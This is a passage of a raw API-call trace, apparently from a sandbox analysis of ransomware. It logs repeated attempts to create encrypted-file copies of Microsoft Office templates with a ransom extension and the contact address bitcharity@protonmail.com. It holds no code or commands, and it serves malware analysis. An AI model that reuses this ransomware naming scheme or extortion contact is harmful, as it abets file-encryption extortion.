"c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.696] CloseHandle (hObject=0x1154) returned 1 [0273.697] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.697] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.698] CloseHandle (hObject=0x1154) returned 1 [0273.699] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.699] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.699] CloseHandle (hObject=0x1154) returned 1 [0273.701] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.701] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.701] CloseHandle (hObject=0x1154) returned 1 [0273.702] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.702] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.702] CloseHandle (hObject=0x1154) returned 1 [0273.703] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.703] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.703] CloseHandle (hObject=0x1154) returned 1 [0273.704] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.704] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.705] CloseHandle (hObject=0x1154) returned 1 [0273.706] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.706] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.706] CloseHandle (hObject=0x1154) returned 1 [0273.707] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.707] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.707] CloseHandle (hObject=0x1154) returned 1 [0273.708] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.708] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.708] CloseHandle (hObject=0x1154) returned 1 [0273.712] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.712] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.712] CloseHandle (hObject=0x1154) returned 1 [0273.713] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.713] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Top.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 top.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.713] CloseHandle (hObject=0x1154) returned 1 [0273.714] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.714] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Right.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 right.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.714] CloseHandle (hObject=0x1154) returned 1 [0273.715] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.715] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.715] CloseHandle (hObject=0x1154) returned 1 [0273.716] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.716] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.717] CloseHandle (hObject=0x1154) returned 1 [0273.717] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.718] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.718] CloseHandle (hObject=0x1154) returned 1 [0274.195] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.195] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.196] CloseHandle (hObject=0x1154) returned 1 [0274.199] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.199] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.199] CloseHandle (hObject=0x1154) returned 1 [0274.201] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.201] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.201] CloseHandle (hObject=0x1154) returned 1 [0274.202] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.202] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.202] CloseHandle (hObject=0x1154) returned 1 [0274.203] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.203] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.204] CloseHandle (hObject=0x1154) returned 1 [0274.205] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.205] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.206] CloseHandle (hObject=0x1154) returned 1 [0274.207] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.207] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.207] CloseHandle (hObject=0x1154) returned 1 [0274.208] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.208] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.209] CloseHandle (hObject=0x1154) returned 1 [0274.210] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.210] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.210] CloseHandle (hObject=0x1154) returned 1 [0274.211] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.211] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.211] CloseHandle (hObject=0x1154) returned 1 [0274.213] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.213] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.213] CloseHandle (hObject=0x1154) returned 1 [0274.214] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.214] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialResume.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialresume.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.215] CloseHandle (hObject=0x1154) returned 1 [0274.216] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.216] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ExpenseReport.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\expensereport.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.217] CloseHandle (hObject=0x1154) returned 1 [0274.218] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.218] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.218] CloseHandle (hObject=0x1154) returned 1 [0274.230] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.230] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.230] CloseHandle (hObject=0x1154) returned 1 [0274.231] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.231] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.231] CloseHandle (hObject=0x1154) returned 1 [0274.233] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.233] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\Notebook03.onepkg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\notebook templates\\notebook03.onepkg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.233] CloseHandle (hObject=0x1154) returned 1 [0274.234] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.234] SetFilePointerEx 